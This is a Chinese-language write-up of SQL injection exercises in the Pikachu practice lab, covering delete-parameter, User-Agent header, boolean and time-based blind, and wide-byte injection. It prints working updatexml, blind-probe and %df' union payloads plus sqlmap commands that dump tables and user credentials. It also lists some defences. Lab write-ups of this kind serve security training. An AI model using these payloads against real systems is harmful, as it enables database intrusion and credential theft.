自学内容网 自学内容网

pikachu靶场SQL-Inject中的“delete“注入、“http header“注入、盲注、宽字节注入

"delete"注入

在这里插入图片描述
抓包发现在留言时有message=hhhh'&submit=submit两个参数,但并未涉及到数据库操作。除此之外,在删除留言时URL中拼接了?id的参数
在这里插入图片描述
构造?id=59'有报错回显
在这里插入图片描述

利用报错注入函数来查询数据,有空格编译不通过,要绕过一下
在这里插入图片描述

  1. 查数据库名
GET /vul/sqli/sqli_del.php?id=59%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1) HTTP/1.1
  1. 查表名
GET /vul/sqli/sqli_del.php?id=59%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database()),0x7e),1) HTTP/1.1

使用substr()函数获取剩余内容

GET /vul/sqli/sqli_del.php?id=59%20and%20updatexml(1,concat(0x7e,substr((select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database()),32,31),0x7e),1) HTTP/1.1
  1. 查列名和查数据操作同上

"http header"注入

在这里插入图片描述
尝试登录,利用之前得到的admin/123456进行登录
在这里插入图片描述
在这里插入图片描述

在UA后面拼接报错注入语句

  1. 查数据库名
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '
  1. 查表名
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '

在这里插入图片描述
报错感觉是因为某些字符串引起的(and?)。改代码为下即可查表(显示不完整,需要使用substr()函数)

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '
  1. 快进到查用户数据
User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(id,':',username,':',password) from  pikachu.users),0x7e),1) or '

盲注(base on boolian)

在这里插入图片描述

输入vince',提示用户名不存在输入vince'#正常回显vince的查询结果,为字符型注入。因为回显只有正常回显和不存在两种结果需要逐个测试

  1. 查数据库名,要先查长度

    • 查数据库名长度
    vince' and length(database())>8#
    

    在这里插入图片描述
    逐个测试得到数据库名称长度为7

    vince' and length(database())=7#
    

    在这里插入图片描述

    • 查数据库名
    vince' and ascii(substr(database(),1,1))=112#      第一位为p
    vince' and ascii(substr(database(),2,1))=105#      第二位为i
    vince' and ascii(substr(database(),3,1))=107#      第三位为k
    vince' and ascii(substr(database(),4,1))=97#      第四位为a
    vince' and ascii(substr(database(),5,1))=99#      第五位为c
    vince' and ascii(substr(database(),6,1))=104#      第六位为h
    vince' and ascii(substr(database(),7,1))=117#      第七位为u
    pikachu
    
  2. 查表名

    • 查有几个表
    vince' and (select count(table_name) from information_schema.tables where table_schema=database())=5#   5个表
    
    • 查每个表的名称以及长度,略过
    • 查列名
    vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117#  u 利用limit来定位到要查的表
    vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1))=115#  s
    vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),3,1))=101#  e
    vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),4,1))=114#  r
    vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),5,1))=115#  s
    users
    
  3. 查列名以及数据
    借助一下sqlmap工具,sqlmap指定technique为B测不出结果,不指定technique会检测为时间盲注类型,可以测出结果,还能解密MD5在这里插入图片描述
    其中遇到一些问题导致时间盲注一直卡着,再跑的时候加上 –random-agent和–keep-alive参数。
    在这里插入图片描述

盲注(base on time)

时间盲注同样是没有可显回显来利用,而利用响应时间来判断使用if语句判断猜解信息是否正确,正确的话通过使用sleep()函数使网页延迟响应,错误的话就立即响应

  1. 找注入点

    python sqlmap.py -u "http://ip:9002/vul/sqli/sqli_blind_t.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" --keep-alive --random-agent --batch
    

    在这里插入图片描述

  2. 查数据库名

    python sqlmap.py -u "http://ip:9002/vul/sqli/sqli_blind_t.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" --keep-alive --random-agent --dbs --batch
    

    在这里插入图片描述

  3. 查表名

    python sqlmap.py -u "http://ip:9002/vul/sqli/sqli_blind_t.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" --keep-alive --random-agent -D pikachu --tables --batch
    

    接着是同样的操作查列名以及拖库

宽字节注入

宽字节注入(Wide Byte Injection)是一种针对某些使用双字节字符集(如 GBK、Shift-JIS 或 Big5 等)编码的应用程序的SQL注入技术。宽字节字符集允许在某些语言(如中文、日文等)中表示更多字符,这导致可能的安全漏洞。

通常,SQL注入攻击通过插入恶意SQL语句来操纵数据库的查询。如果应用程序未正确处理输入,攻击者可能会利用这种漏洞。

在宽字节注入中,攻击者利用的是这些双字节字符编码的特性:双字节字符编码的第一个字节范围为 0x81-0xFE,而第二个字节可以为任意字符(例如 0x40-0xFE)。如果应用程序没有正确转义输入数据,攻击者可以使用部分的双字节字符来逃避过滤,并生成恶意的SQL代码。

  • 关键过程:

    • 双字节字符编码的特性:例如,字符 \ 在某些编码中与后续字符一起会被解释为一个双字节字符,从而改变字符序列的含义。
    • 编码注入:攻击者可能会将特殊字符作为双字节字符的第二部分进行输入,绕过数据库过滤器或应用程序的输入验证,导致SQL注入。
  • 举例:
    假设应用程序使用的是 GBK 编码并且存在SQL注入漏洞。如果攻击者输入 %df' OR '1'='1,其中 %df 是双字节字符的第一个字节,而 ' OR '1'='1 作为注入的SQL语句,在某些情况下可能会成功绕过过滤规则,从而达到注入的目的。

  • 防御方法:

    • 使用预编译语句(Prepared Statements):预编译的SQL查询不会将用户输入的数据直接插入到SQL语句中,避免了注入的可能性。
    • 适当转义和过滤:确保对所有输入进行正确的转义和验证,特别是在处理多字节字符集时。
    • 强制使用安全的字符集:例如 UTF-8,它具有更好的安全特性,并且减少了多字节编码引发的潜在漏洞。

本题中可以用%df' or 1=1 #作为payload,此外本题好像还有前端验证?需要抓包修改提交值的内容才可以成功
payload:name=%df' or 1=1 #&submit=%E6%9F%A5%E8%AF%A

  1. 查表

    name=%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2#&submit=%E6%9F%A5%E8%AF%A
    
  2. 查列名

    name=%df' union select (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)),2#&submit=%E6%9F%A5%E8%AF%A
    
  3. 查user和password

    name=%df' union select (select group_concat(username,0x3b,password) from users),2#&submit=%E6%9F%A5%E8%AF%A
    

原文地址:https://blog.csdn.net/qq_42780280/article/details/142788401

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!